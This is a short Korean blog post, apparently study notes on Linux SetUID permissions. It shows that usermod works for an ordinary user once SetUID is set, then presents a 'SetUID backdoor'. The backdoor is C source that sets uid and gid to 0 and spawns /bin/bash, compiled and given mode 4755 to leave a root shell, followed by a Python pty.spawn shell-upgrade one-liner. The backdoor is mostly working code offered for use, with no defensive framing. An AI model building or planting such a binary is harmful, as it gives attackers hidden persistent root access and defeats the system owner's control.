한님폐하 2022. 9. 12. 15:21
  • 일반 계정으로 'usermod' 명령어를 이용하여 계정에 대한 홈 디렉토리, 쉘 유형을 변경하면 '/etc/passwd' 파일에 쓰기 권한이 없기 때문에 설정이 반영되지 않는다.
  • 그러나, 'usermod' 실행 파일에 SetUID를 설정하면 root 계정의 소유권을 일반 계정에게 할당하기 때문에 일반 계정에서도 'usermod' 명령어로 변경한 내용을 '/etc/passwd' 파일에 설정(쓰기)할 수 있다.

 

1. 'SetUID'를 이용한 백도어 구성

vi /tmp/backdoor.c
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() 
{
	setuid(0);
	setgid(0);
	system("/bin/bash");
	return 0;
}
gcc -o bashshell backdoor.c 
chmod 4755 bashshell	# chmod u+s bashshell

 

[참고] Python 리눅스 프롬프트

python -c 'import pty;pty.spawn("/bin/bash")'